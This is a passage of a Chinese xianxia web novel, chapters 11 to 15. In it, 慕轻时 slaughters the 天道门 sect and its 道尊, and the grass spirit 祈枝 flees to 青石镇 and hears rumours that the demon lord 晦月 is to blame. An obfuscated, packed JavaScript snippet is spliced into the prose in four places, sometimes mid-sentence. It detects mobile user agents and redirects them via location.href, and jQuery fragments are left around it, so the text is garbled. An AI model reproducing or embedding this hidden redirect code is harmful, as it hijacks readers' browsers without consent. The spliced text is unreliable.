几个弟子等得无聊,忍不住传音入密,悄悄聊起了八卦。 道尊合眼,四周风停,讲小话的弟子立即正襟危坐,再不敢多言半句。 其实他们不说,道尊心中也有疑惑。 叶无拘和清瑶到底在搞什么,不过就是带个人过来,怎能这么慢? 莫非这二人起了异心? 不,不可能…… 区区两个小辈,就算真有异心,也没那本事夺了他的好处。再怎么愚钝之人,都不可能在这种事上犯糊涂。 可若非如此,又是什么耽误了他们? 道尊不由蹙眉,抬手结印,将灵力散做千丝万缕,向仙台之下探寻而去。 阵中之人纷纷垂下眼帘,无一人敢直视道尊之威。 为了这一日,他等了足足五百年。 没有什么可以阻止他。 万千灵丝散落大地,如藤蔓蜿蜒,顷刻便已笼罩整片山峦。 耳畔忽然响起了一个声音。 “别找了。” 道尊不由一惊,睁眼循声望去。 只见这仙台之上,阵法一角,那本该由叶无拘所守的辅位上,不知何时站了一人。 她出现得悄无声息,在出声之前,竟无一人察觉。 “二师姐?!”有人一眼将她认出。 “二师姐怎么来了?” “师尊绝不可能召她来的……” 慕轻时寒声说道:“今日之事,道尊确实不曾与我提及。” “放肆!”木长老愣了一瞬,忽而起身怒喝,“慕轻时!你莫不是于岁寒殿中自困太久,忘了这是什么地方?今日道尊即将突破,绝非儿戏,谁允许你来此添乱的!” “木长老别急,我只是来提醒道尊。”慕轻时话到此处,微微顿了一下,轻笑道,“叶无拘与清瑶不会来了。” 道尊闻言,面色一沉,将散出的灵力收回掌心,扬声问道:“好徒儿,这是何意?” 慕轻时幽幽扫了众人一眼,答非所问道:“今日这阵中,原是准备牺牲一人吧?” 众人一时无声,神色各异。 慕轻时见无人应答,便又笑着说了下去:“都是同门,各位长老,师弟师妹,倒也都狠得下心。” 几位长老闻言,纷纷起身,刚要出手驱赶,便见道尊缓缓起身,负手而立,发出了一声轻笑。 “牺牲?”道尊目光缓缓扫过阵中众人,话音是堂堂正正,“本尊这小徒儿灵质万分特异,本应是那应劫而生的天选之人,偏却天生灵根残损,难当重任。” “若非本尊以神魂之力温养了这五百年,她都未必能够活到今时今日,又何谈‘牺牲’二字?” “如今魔气现世,妖乱不止,人界却无神灵守护,何其可悲?” “若舍她一人,能使本尊突破至高之境,护佑人间再不受邪魔所侵,那她今日血肉归于天地,魂灵融于大道,便不再是牺牲,而是化身万千,与本尊共赴不朽。” 道尊言至此处,眸中闪过一丝悲悯:“此乃无上殊荣,亦是她天命所归。” 阵中众人的眼神似也更加坚定了几分。 慕轻时不由笑了:“道尊为求突破,也是无所不用其极,倒让我有些好奇,道尊数千年来心中所求之道,究竟为何?” “护佑苍生?亦或是……”她话到此处,神色一冷,“要做这人间独一的神灵?” 道尊摇了摇头,声似轻叹:“慕轻时,你还真是冥顽不灵。” 说罢,他合眼,抬手,白云化作长剑。 再睁眼时,身后已然凝出一尊巨大的金色法相——庄严,肃穆,似是神明俯视着整个人间。 “纵有再多私心,你亦不该对抗天道。” 他的声音回荡在天地之间。 狂风卷起,漫天飞雪随着云海翻涌,似要淹没整座仙台。 慕轻时望着那尊法相,持剑迎风而立,朗声问道:“道尊可还记得,五百年前,自己都做了些什么!” “……” “倒转阴阳,逆行法阵——先屠魔,再弑神。” 道尊眼底闪过一丝诧异。 “你口中的天道,不过是瞒天过海。”慕轻时说着,唇角忽而勾起一抹若有似无的笑意,“同样的滋味,你也尝尝吧。” 话音落下,慕轻时唤出春生,抬手一指,长剑落入旁侧空出的辅位。 只见她双手聚灵结印,瞬间催动了整个法阵。 阵中众人都还未及反应,回神之时已被一股力量牢牢困在了各自所在的阵眼,体内灵力如流水般不由自主地向阵中倾泻着。 “此阵有误!”有人失声惊呼。 来不及了,所有的灵力,都于那一瞬飞速涌向春生。 所有人都痛苦哀嚎着,仿佛快被榨干每一寸血肉。 不过短短十数秒,天色已暗,云海化作黑烟,彻底淹没了那庄严的法相。 道尊被这逆行的法阵压得跪下了双膝,眼底生出血丝,难以置信地看着眼前的一切。 慕轻时手中再次结印,所有被春生汲取的灵力,都在这一瞬消失不见。 短暂静默后,遥远的天边,忽而亮起一柱刺目的天光。 “后山禁地……”道尊的声音不由颤动,“慕轻时!!你要做什么!!!” 他死死盯着自己曾经最为爱重的弟子,恨不能将她碎尸万段。 慕轻时挥袖散去脚下法阵,一柄墨色长剑自后山飞来,落入她的手中。 她只低眉看了一眼,便以剑锋划破手掌,将其唤醒。 顷刻之间,剑气倾泻,雷鸣震天。 那一个个挣扎着想要逃离仙台的人,都在这一瞬被那四散的剑气噬骨销魂。 唯有道尊,仍守着一寸生机。 仙风道骨不再,只有眼底无尽的恐惧。 慕轻时目光一瞥,持剑转身,向他缓步走去。 “我该谢谢你,替我温养了那朵灵花五百年。” “你疯了……”道尊声音嘶哑。 “此剑,名破妄。” “慕轻时,你疯了!”他大声嘶吼着,“你压不住它的!!” “道尊?”慕轻时摇了摇头,神色冰冷,“我记得你从前的名字 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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那是一声声惊惧而又痛苦的哀嚎,是无数声的怒斥与咒骂。 祈枝一时失了神,目光茫然起来。 指尖灵力断去的那一瞬,她将手中镜子丢得老远,耳畔仿佛只剩下了那一句——你的妄念,不会成真。 镜面应声而碎,满屋繁花随之渐渐枯萎。 祈枝慌忙起身,想要离开此处,刚皱眉跨过两具尸体,便见一只怪模怪样的巨鸟从天上落下,将不大的院门堵得严严实实。 它身前那对虎爪,血淋淋地垂在地上,一双血红的眼睛,正幽幽地望着她。 “不可以走哦。” 它的声音像个小姑娘,偏却带了几分哄孩子的语气。 祈枝打了一个寒颤,默默退回屋中,抱起双膝,缩到了床角。 她望见那只怪鸟朝窗边飞来,巨大的身形在瞬息间缩小了不知多少,最后变成她最熟悉的阿云,稳稳立在了窗沿。 她想,她大概是要死掉了…… 慕师姐最喜欢的花,似乎就是她的灵根。 她就是棵小草,身上的东西被人看上了,那是送是留自然也是由不得她的。 她不知师尊的妄念是什么,却知在那一瞬,自己的妄念也被师姐斩断了。 窗外雷声阵阵,云间血色渐弄。祈枝拽着被子,静静缩在床角,莫名冷静地等了很久很久。 直到窗外天色渐明,慕轻时推门而入,白衣染血,缓步走到她的身旁。 祈枝缩了缩脖子,紧紧闭上双眼。 慕轻时看着一屋的残花,低眉于指尖幻出一支玉簪,俯身上前,温柔地簪进了少女有些散乱的发间。 花苞瘦小,半隐于墨发之间,并不显眼。 “师妹,这是我送你的礼物。”她指尖碰过花苞,顺去旁侧,轻抚着祈枝的长发,“从今往后,你爱做什么便做什么,想去哪里便去哪里……” “再也不会有人欺负你了。” 12. 第 12 章 窗外的风声,敲打着那一瞬的静默。 枯萎的花朵早已散尽余香,取而代之的,是一股淡淡的血腥气。 屋外的尸首,白昼的暗月,守在窗边的阿云,还有推门而入的慕师姐——所有的一切,无一不透露着十足诡异的危险。 可耳畔的声音,轻抚过发间的手指,却仍有着无异于过去的温柔。 祈枝怯怯睁开双眼,有些呆滞地望着慕轻时的眼睛,不敢说话。 此刻的琼琚山,寂静得像是一片死地。 山上还有活着的人吗? 她不知道。 慕轻时为何如此,又为何没有对她动手? 她也不知道。 她只知道,慕轻时此刻正侧坐在她的床上,手里拿着一把木梳,一下又一下,动作轻柔地为她梳着头发。 就在今天早上,她还做过类似的美梦,怎料真到了这种时候,她竟莫名有些担心自己的脑袋会被慕轻时给扯下来,就像外头凉透了的四师兄那样,死成一块一块的。 所以她将脖子缩得更紧了。 很快,发髻梳好了,祈枝的担心并未发生。 慕轻时眼含笑意,偏着头似认真将她打量了一番,而后目光向别处一瞥,起身朝那碎落在墙角的残镜走了过去。 祈枝心头再次一紧,不自觉攥紧了被子的一角。 慕轻时俯身,拾起其中一块,眼底眸光明灭。 那么小的一面镜子,竟也能碎得七零八落,多像这满屋的花,开时繁茂,谢时无声。 她就知道,师妹口中的喜欢不过如此。 可她偏要强求。 慕轻时眸中闪过一丝自嘲的笑意,指尖灵光倏然亮起,将那碎落一地的残镜碎片,尽数悬于掌心之上。 顷刻间,破镜重圆。 阿云将头别向了窗外,抬眼望天。 慕轻时若无其事般回到床边坐下,将镜子递向了仍旧蜷膝缩在床角的祈枝。 祈枝张了张嘴,没敢说话,也没敢去接。 慕轻时脸上笑意未减,眼帘微垂,不动声色地掰开了祈枝紧扣的手指,将镜子塞进了她轻颤着的手心。 窗外天色渐暗,屋外的尸首与血渍已被慕轻时用灵力清扫干净。 风雪未歇,又为此间落了一层新白,风铃轻轻响动着,仿佛什么都不曾发生。 慕轻时去厨房为祈枝煮了一碗长寿面,同往常一样,坐在一旁,看她抱着碗筷吃了个一干二净。 只是这一次,祈枝全程没有说话,脑袋一埋就是吃,筷子一放就是嗝。 入夜后,慕轻时并未留下,只是在走前对祈枝说了一番话。 “今日仙台之上悬有一阵,道尊为求突破,需生祭一人,护阵者皆知真相。” “他确实以自己的神魂将你的灵根温养了五百年,可若他真想对你好,何至于五百年来不闻不问,直至今日才将你想起?” “叶无拘与清瑶来此寻你,是要将你带入阵中,而为你戴上那镯子,则是他二人的一己贪欲。” 话到此处,慕轻时回身望了祈枝一眼:“你可以不信,但我没有骗你。” 说罢,转身离去。 阿云看着桌边坐得分外乖巧的祈枝,目光扫过她发间若隐若现的纯白花苞,忍不住叹了一声。 它觉得慕轻时不太会安慰小姑娘,身为一只热心肠的好鸟,她有必要帮慕轻时多说几句好话。 “我说你怕啥呀,像你这样的小妖我都能一口一个,她要真想杀你,你还能在这儿坐着呢?” “有些人啊,你不杀他,他就会杀你,不用有什么心理负担的。弱肉强食嘛,这世间向来如此。” “往后啊,你就把心放肚子里,喜欢什么、讨厌什么,你只管说就是,我和轻时准能给你办妥了!” 阿云叭叭了半天,终于听见祈枝轻轻“嗯”了一声,瞬间松了口气。 很好,看起来它的安慰颇有成效。 阿云:“那你早些休息吧,我不打扰你啦。” 祈枝一脸乖巧地向它点了点头。 阿云心满意足,转身面朝窗外,小脚一跺,翅膀一拍,追着慕轻时离去的方向飞远。 烛火昏黄,轻晃着一抹瘦小的人影。 祈枝看向腕间的玉镯,抿了抿唇,将它轻轻摘下。 她想,道尊之事,慕轻时应是没有骗她的。 那位永远高高在上的道尊,若曾真心为她好过,她便不应是这琼琚山里人人可欺的存在。 是她心里有着太多不切实际的期盼,想要得到认可,渴望被人接纳,才会那么轻易地相信了自己也曾被师尊在意过的离谱谎言。 阿云说得也没什么错。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16971336|193452||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>她只是一棵修为低微的小草,慕轻时若真想杀她,不过就是动动手指的事。 可她就是忽然从一场美梦里醒过来了,理智告诉她,这世上没有谁会无缘无故对一个人好的。 能让天道门都覆灭于一朝一夕,慕轻时究竟有着怎样的身份来历,祈枝连想都不敢想。 她不过就是曾在山间摇过那么一次桂花,凭什么就能换得一个这样的人对她百般爱护呢? 若说这一切真的别无所图,只怕是傻子都不会信吧。 虽说她暂时还想不明白其中的缘由,但她已经美滋滋地当了四百年的傻子了,实在是不想再这样继续傻下去了。 有枝可依的感觉很好没错,但她再不赶快清醒一点,只怕早晚有一天会把自己小命都傻没掉的。 祈枝这般想着,深吸了一口气,起身关拢了门窗。 那天夜里,祈枝将自己为数不多方便携带的东西都收拾成了一个不大的包袱。 慕轻时硬塞给她的对影镜,被她用枕头轻轻盖住。 末了,她摸索着取下发间玉簪,也一并放在了枕头底下。 就这样,小小的人儿,背着小小的包袱,做贼似的推开一条门缝,探出半个脑袋,四下望了一圈。 四下无人,她深吸一口长气,逃似的离开了这小小的院落。 只是月儿刚刚爬上头顶,离去的少女便又悄悄折了回来,将那支玉簪从枕下摸了出来。 她迟疑片刻,尝试着往里头注入了一点灵力。 玉簪没有反应,想必不是什么法器。 祈枝缓缓松了口气,打开包袱,将其小心翼翼地藏在了几件柔软的衣物中间。 她想,多少留一个纪念吧。 哪怕有过再多的谎言,四百年来慕轻时对她的那些好也都是真实发生过的,想来往后无论去哪儿,也都不会再有别的人对她这么好了。 留个纪念,不过分吧? …… 对的!不过分的! 所以祈枝取回了这支簪子,又一次迎着风雪,借着月光,带着满心的期待与好奇,向着山外一路奔去。 这条离山的路,她在梦中走过无数次,不是被抓,就是梦醒。 不过这一次,已经没有木长老会带着人来抓她了。 她终于可以离开这里,去看看外面的天地了! 13.第 13 章 祈枝记得,离了山,一路向南,就能去到青石镇。 那儿是离琼琚山最近的人类城镇。 祈枝听时常下山采买的那些弟子说过,那里有许多好吃好玩的事物,什么时候都热热闹闹的,要比山里好玩多了。 所以她连夜逃下山来,都顾不上休息,就兴匆匆地朝着南面奔了过去。 只是这山外的世界好大,这条向南的路可比她去岁寒殿要远得多。 祈枝走得两条腿都快要断掉了,还是没有看到那传说中的青石镇,这不禁让她开始怀疑自己是不是辨错了东南西北。 好在她的运气不差,路上遇见了一辆马车。 那马车跑得很快,几秒前还在她身后好远呢,她不过就是好奇地回身看了一会儿,便见它携着一阵风从自己身侧掠了过去。 祈枝稍稍愣了一下,连忙加快步伐追在了马车后头。 车夫显然察觉到了她在追车,先后回头诧异地看了好几眼,最后没忍住勒马停车,朝后头的她大喊了一句:“小姑娘,你是想上车吗?” 祈枝喘着粗气停下脚步,双手撑着膝盖缓了好几秒,抬眼怯怯问道:“可,可以吗?” “你想去哪儿啊?” “青石镇!” “那上来吧!” 祈枝抿了抿唇,脑袋懵懵地坐上了马车。 其实她一开始没想过能搭顺风车的,不过就是闷头走了一路,一直摸不准自己有没有走对方向,所以好不容易看到一个人类,第一反应就是紧紧跟了上去。 横竖她也不认路,跟着人走,就算目的地不一样,也总归是能寻到个去处的。 可人家车夫眼里就不大一样了。 这冰天雪地的,前不着村后不着店,忽然冒出个瘦瘦小小的姑娘,一言不发就紧紧追在了他的马车后面。 小脸红红的,眼睛亮亮的,看着他的马车就跟看见了救命稻草似的,怎么瞧都是一副可怜巴巴想要搭车的模样。 这么一个细胳膊细腿的小姑娘哪里能跑得过马车啊? 眼瞅着那追车的身影越来越小,他不禁想起自家姑娘也就这般年纪,恰好此刻又是空车返程,一个不忍便将那丫头叫上了车。 “这大雪天的,我不让你上车,你就自己走去青石镇?” “嗯!”祈枝点头应着。 “那可有得走了。”车夫告诉她,“要不是遇上了我,你就是走到明晚也到不了。” “这么远啊!” “是啊。你说你个小姑娘,怎么一个人走那么长的路……” 祈枝没能答得上话,只揉了揉冻僵的脸颊,回头望向了身后那两道长长的车辙。 她要是会飞就好了。 从前那些负责采买的弟子每次离山的时间并没有太久,想必都是御剑来的,没有哪个会像她这样,用腿干跑这一条长路。 祈枝这般想着,疲惫的身体泛起了一阵困意,没多会儿便靠着车窗睡了过去。 半道上蹭上的马车颠簸了许久,终是在黄昏之前,将睡得迷迷糊糊的祈枝带到了青石镇。 下车之后,她连连躬身道谢,车夫只是摆了摆手,与她就此分别。 目送着马车渐行渐远,祈枝放眼望向四周,脸上尽是茫然。 这里的人实在是太多了,走两步便能遇上一个。有人埋头前行,有人大声吆喝,看上去热热闹闹,却又好像谁也不认识谁。 这四周的屋子更是一间连着一间,光是眼前走过的这一条街,怕就能住得下天道门所有的弟子。 祈枝一路东张西望,看见什么都觉得新奇,却又不敢靠得太近。 路边忽然飘来了一阵馄饨的香气。 她摸了摸肚子,忍不住循着香味儿找了过去。 那是个路边支起的馄饨摊子,摊位上坐了好些个人,各个都拿着筷子吃得很香。 祈枝站在边上看了一会儿,想吃又不敢上前。 那卖馄饨的店家见她看了许久,忍不住朝她吆喝了一声:“姑娘,来碗馄饨不?” 祈枝回过神来,左右看了一眼,确认了人家是在问自己,一时又惊又喜,怪不好意思地点了点头。 店家笑着将她招呼到座位上,很快为她端上了一碗热腾腾的馄饨。 祈枝这一路啥都没吃,早已饿得不行,一时都顾不得烫,唏哩呼噜就把这一大碗吃了个一干二净,连汤都没剩下一点。 感觉没吃饱,她扭头再次看向店家。 店家回身看了一眼:“是还要一碗吗?” 一碗生,二碗熟,她这一次点头点得毫不犹豫。 没多会儿,两碗馄饨下肚,祈枝心满意足地舒了一口长气。 末了,她坐着歇了一会儿,思来想去,觉得白吃人家的不好,身上又实在没什么好东西可以作为报答,只得在指尖凝出一朵小白花,悄悄地放在了桌子上。 眼见天色已晚,祈枝抬头望向店家:“这位大哥,请问一下,附近有什么方便住下的地方吗?” 店家听了,抬手一指:“往前走一段,有间客栈。” “客栈……”祈枝小声跟着念了一下,而后认认真真地向店家道了声谢,起身便顺着人家手指的方向蹦蹦跶跶跑了过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16975948|193452||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去。 钱,是没有给的。由于她跑得实在太过自然,脸上未见半点心虚,看得那店家都不由愣了一下。 片刻愣神后,他回头往桌子上看了一眼,发现那丫头并未留下任何银钱,只留下了一朵不知哪里来的小花,终于缓缓回过味儿来,自己这是遇上吃霸王餐的了! 挺漂亮一小姑娘,穿得干干净净的,怎么吃个馄饨都不给钱啊? 不给钱就算了,还放朵破花气人! 他咬了咬牙,刚想去追,便被一个银发的少女伸手拦了下来。 “那姑娘的钱我来付!” “你替她付?” “嗯嗯!”银发少女点了点头,数好铜板,放进了他的手里。 店家低头点了一下钱数,再抬头时,银发少女已经没了踪影,连同着桌上的小花也一并不见了。 “真是莫名其妙……” 他小声念叨着,收拾起了桌上的碗筷。 …… 天色越来越暗,街上的行人越来越少。 祈枝认真寻了一路,终于看见了那位好心的馄饨大哥口中的客栈。 客栈的大门关着,里头烛火倒是未熄。 祈枝看着紧闭的房门,半天没敢上前叨扰,直到看见有人叩开了那扇门,这才赶忙跟在那人身后走了进去。 进去后,掌柜的抬眼问了一句:“客官住店吗?” 那人应道:“给我来间上房。” 祈枝安安静静站在一旁,见那人说完这话,登记了一下名字,立马就被人招呼着上了二楼,瞬间顿悟! 下一秒,掌柜的将目光转向了她。 祈枝深吸了一口长气,挪到了那人方才站的位置,有样学样地说了一句:“给我来间上房!” 说罢,在掌柜递来的簿子上写下了自己的名字,便高高兴兴地跟着小二去到了自己的客房。 进屋前,小二态度很好地告诉她,有什么需要尽管吩咐。 祈枝将信将疑,试着要了一点吃的,果然得到了满足,于是又要了一盆热水,舒舒服服地洗了把脸,泡了个热水脚脚。 末了,她裹着软和的被子,躺在陌生的床上,只觉这一整天都像是在做梦一样。 这就是山外的世界吗…… “真好啊。” 她小声嘟囔着,将脑袋缩进被窝,眼睛一闭,沉沉睡下。 …… 暗巷无声,夜色如墨。 唯有一人身影清瘦,靠坐在斑驳的高墙之下。 肩上的小鸟睡得香甜。 她指尖拈着一朵纯白的花。 14.第 14 章 离山后的第一个晚上,祈枝一夜无梦,睡得分外安稳,醒来已是天大亮。 被窝太过温暖,她舍不得离开,便又由着自己多赖了会儿床,直到肚子开始打鼓,这才揉揉眼睛,哼哼唧唧地从床上爬了起来。 客房的窗户正对街市,祈枝稍稍推开了一丝窗缝,对街包子铺那一股诱人的香气,就和此刻直往屋子里灌的冷风一样,半点儿不讲道理地杀了过来。 祈枝关上窗缝,小小吞咽了一下。 她本来想吃一碗热汤面的,现在忽然又觉得包子也很不错。 所以她把好心的小二唤了上来,试探着问了一下对门的包子她可不可以吃。 小二简直有求必应,二话不说就去对门为她带了一笼包子回来。 刚蒸好的包子热腾腾的,皮儿薄,馅儿大,灌汤流油,又软又香,是琼琚山不曾有过的口感。 一笼下肚,祈枝多少有些意犹未尽,但叫她再去要上一次,又实在不太好意思。 所以她重新爬回床上,抱起被子,靠坐床头,脑袋空空地发起了呆。 这脑子一旦放空,人就容易犯困。 若是从前,哪怕再困,她也得做完一大堆杂活才能休息。 现在不一样了,她什么时候困了,就能什么时候睡。 “不用干活就是好啊……” 祈枝小声嘟囔着,被子往上一拽,身子往下一缩,便又歪着脑袋睡了过去。 迷迷糊糊间,外头似乎变得吵闹起来。 祈枝翻了个身,闭着眼睛浅听了一会儿,猛地被一个关键词惊走了残余睡意。 天道门,有人提到了天道门! 祈枝连忙弹坐起来,竖着耳朵去听。 没错,她没有听错,楼下确实有人在谈论天道门,只是离得太远,听不见什么细节。 祈枝想了想,起身推开房门,朝楼下望了一眼。 上午还空荡荡的客栈一楼,此刻热闹得已经没有一张空桌了。 这些人几乎都是一副修士打扮,从衣着上看,这些人并非同路,而是来自好些个不同的势力,只是恰好因为某件事聚在了此处。 祈枝大着胆子下了楼,深吸一口长气,挑了处角落里的空位,径直走去。 桌上这几人看上去互不相识,所以边上多了个小姑娘倒也无人在意。 四周分外嘈杂,相识或不相识的人都在各说各的。 祈枝竖着耳朵听了一会儿,没听清什么信息,思来想去决定开口问问。 她缓缓吸了口气,向一旁看起来比较好说话的青衣女子靠近了些许,伸出一根手指,轻轻戳了一下她的手肘。 青衣女子侧头看她,眼底闪过一丝茫然。 祈枝:“姐姐,这里发生什么事了吗?为何忽然聚了那么多修士啊?” 青衣女子:“你不知道吗?天道门出事了!” 祈枝:“啊?” 这她可太知道了呀。 “上午已经有人去看过了,整个天道门,包括道尊在内,全门被屠!”青衣女子说着,压低了声音,“一个活口都没留!” 祈枝张了张嘴,好半天才问出一句:“什么时候的事啊?” “就在前日。” “前日啊……”祈枝抿了抿唇,小声道,“消息传得这么快吗?” “那可不?”边上的褐衫男子忍不住凑了过来,“这天道门所处的琼琚山,乃是四方灵脉之一。前日,琼琚山忽现天地异象,动静之大,瞬间牵动了另外三处灵脉。” “寒山素来封闭,没有传出什么消息。但暮雪谷的灵尊,归真派的剑尊,都在第一时间借由灵脉探查了天道门的情况。”他说着,不由皱紧了眉,“相传异象起时,琼琚山白昼似夜,暗云染血,天边还悬了一轮黑月……如今这人间仙门,不知晓此事的修者已是寥寥无几!” 末了,他摇头叹了一声:“这异象虽是骇人,可谁又能想到,久居仙门之首的天道门,竟会覆灭于一朝一夕,就连道尊也因此陨落……” 祈枝将唇紧紧抿成了一条线,心虚得不敢说话。 “那可是道尊啊。”青衣女子神色凝重。 祈枝迟疑片刻,没忍住问了一句:“那,那究竟是什么人,竟有这样的通天本事……” 她话音刚落,边上又凑来一人:“问得好啊,这事儿还真挺难说的。” 祈枝不解:“为什么难说啊?” “听说过魔尊晦月吗?” “嗯!”祈枝点了点头,“天道预言,此魔注定灭世。” “没错,就是这位!”那人勾指于桌上叩了两下,认真道,“五百年前,魔尊晦月来到人间,天边就悬了一轮至暗的黑月。而天道门所现异象,恰也是一轮黑月。所以不少人猜测,这事应是此魔所为。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16979639|193452||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 祈枝:“真的吗?” 那人闻言,摇了摇头:“但是——” 祈枝:“……” 行吧,还有但是。 “五百年前,众仙门曾倾尽全力将此魔重创,世间最后一位神明散灵陨落,神力于灭魔阵中化作一道封印,将其血肉神魂镇压在了琼琚山内!” 青衣女子闻言,把话接了下去:“世人皆知,这琼琚山中有两道神力封印,一道镇压着魔尊晦月,一道镇压着魔剑破妄。此次天道门遭此灾劫,琼琚山确实也破了一道封印,只是那被破的封印,并非镇压晦月的那一道,而是镇压破妄的。” 祈枝眨了眨眼,目光茫然:“那,那这意味着什么?” 褐衫男子提了两个问题:“若此事并非晦月所为,那轮暗月从何而来?若此事就是晦月所为,那山中被破的为何会是另一道与之无关的封印?” 祈枝歪头问道:“两道封印完全无关吗?” “完全无关啊!破妄乃是上古魔神的命剑,那家伙都死四千多年了,他的剑除了封印地和晦月挨得近点儿,还能同那晦月有什么关系?” “这事真是太奇怪了。” “是啊!” 祈枝皱了皱眉,忍不住试探着问道:“那,除了黑月之外,这个晦月魔尊,可还有什么别的特征吗?比如样貌,或是……身旁可有什么灵宠?” 青衣女子略一思忖,沉声道:“相传晦月身侧有一凶兽,名为鬿雀——白首灰翼,鼠足虎爪,身形巨大,最喜食人!” 祈枝:“……” “哎,不管怎样,如今魔剑破封,瞬间失了踪影,另一道封印可千万不能再出事了。” “道尊已然陨落,也不知那道封印今后将由何人接管。” “谁知道呢?”褐衫男子看戏似的低声笑道,“反正由谁接管,谁就能占了琼琚山那道灵脉,如今各方势力都盯着此处蠢蠢欲动呢。” “天道门倒也不是彻底没人了,旁人若想将这灵脉占去,还得问问皇城那位‘仙师’同不同意。” 旁侧三人你一言我一语地高谈阔论起来。 祈枝缓缓垂下眼帘,再没能将那些话语听进心里。 或许,天道门真正的二师姐,早在五百年前就已经不复存在了。 而她所认识的慕轻时…… 从始至终,都是那终将灭世的魔头。 15.第 15 章 天道门遭此灭顶之灾,魔剑破妄不知所踪,与琼琚山离得最近的青石镇,自是很快就挤满了来自人间各处前来探查消息的仙门修士。 胆小些的,聚集在镇中观望。 胆大些的,则直接破开了山外用以阻绝凡人的灵力屏障,深入山门探了个究竟。 若是放在从前,哪有人敢这样入山? 可如今的天道门,空空荡荡,大雪连落了两天两夜,将那满山尸骨尽数掩埋。 入山之人行在雪中,看似脚下一片银白,整片天地干干净净,却谁也不知哪一步会忽然踩出一片被雪覆盖的惨状。 听说道尊殒没在高悬云端的仙台之上,身下是一个残缺不全的法阵,附近的七位长老,六位高徒,尽数死在阵眼之上。 阵中灵力尽数散去,法阵细节也被风雪所毁,此阵究竟有何用途,早已无人能辨。 那一日天道门究竟发生了什么,一时众说纷纭,有了不少捕风捉影的猜测。 祈枝心情复杂地听了许久,最后默不作声地躲回了自己的客房。 什么灵脉、法阵,什么上古魔剑、灭世魔头。 谁在觊觎,谁在害怕,祈枝并不关心。 她不过就是一棵小草,对这个世界知之甚少。 那么多人都死了,她能活着离开琼琚山已是一种万幸,实在是不想再和天道门沾上一点关系了。 是这样的,她什么都不说,只是不想节外生枝…… 除此之外,再没有旁的私心了。 祈枝抱臂坐在床上,歪着脑袋发了会儿呆。 回神之时,她侧身一倒,伸手将丢在床尾的包袱一把捞起。 ——好可怕,灭世魔头好可怕! 这里离琼琚山还是太近了,她必须逃得再远一些! 祈枝背上包袱,向小二请教了一下附近还有哪些好吃好玩的地方,便匆匆忙忙走出了这间修士云集的客栈。 客栈的对街,是她上午吃过的那家包子铺。 祈枝不过看了一眼,便忍不住馋兮兮地跑了过去。 包子铺的老板见她靠了过来,脸上立马堆满了笑意:“姑娘想吃包子吗?” 祈枝感受到了热情,很是欣喜地点了点头。 老板问她想吃什么馅儿的,她伸着脖子看了半天,哪种都想尝上一口,老板干脆拿了个纸袋子,帮她一样包了一个。 几个包子进袋,他又抬眼问她:“姑娘背着包袱,是一个人赶路吗?” “是啊!” “这大冬天的,包子凉得快,不好路上吃。我给你包点儿糖心馒头吧?凉了也好吃。” 祈枝眼睛一亮,感动得连声道谢。 很快,老板向她递来了两个大纸袋子,袋子里包子馒头都装得满满当当,生怕她不够吃似的。 祈枝埋头深吸了一口里头热腾腾的香气,心满意足地向老板道了声别,高高兴兴拿出一个,边吃边走,朝着东边儿赶了去。 少女的身影渐行渐远,白首灰背的鸟儿落上窗台。 它歪着脑袋往屋中看了一圈,而后拍拍翅膀,从桌上叼走了一朵小花。 …… 祈枝抱着纸袋吃了一路,吃到吃不下了,便寻了个地方坐下,解开包袱,将剩下的那些用粗布裹着,仔细包了进去。 背在身上的包袱多了几分重量,祈枝不由感慨——那位包子大叔实在是太热心肠了,听说她要赶路,竟一口气给她装了那么多,吃上个三五顿都不成问题,这次路上倒是不用挨饿了! 走前客栈的小二和她说,出了青石镇,一路往东,有个清溪郡。那儿的酒香,汤锅也鲜美得很,这大冷天的,吃了能暖一整日。 不过步行有些遥远,乘坐马车的话,约莫一日就能抵达。 若是她需要马车,可以去驿站问问,东边儿镇子口就有。 祈枝照着小二说的,一路朝着东边儿走。 只是这条路走着走着,前头忽然就围了好多修士,似在争执着一些事情。 祈枝一时好奇,靠上前去,踮起脚尖,往人群的最里头瞅了一眼。 就这一眼,吓得她赶忙低下头来,转身躲进了一旁的小巷,满脸心虚地捂住了心口。 她看见了两个许久未见的熟悉身影。 是大师兄和三师姐…… 他们也得知消息,从玉城赶了回来。 那些个将他们重重围住的修士,此刻正七嘴八舌地质问着什么。 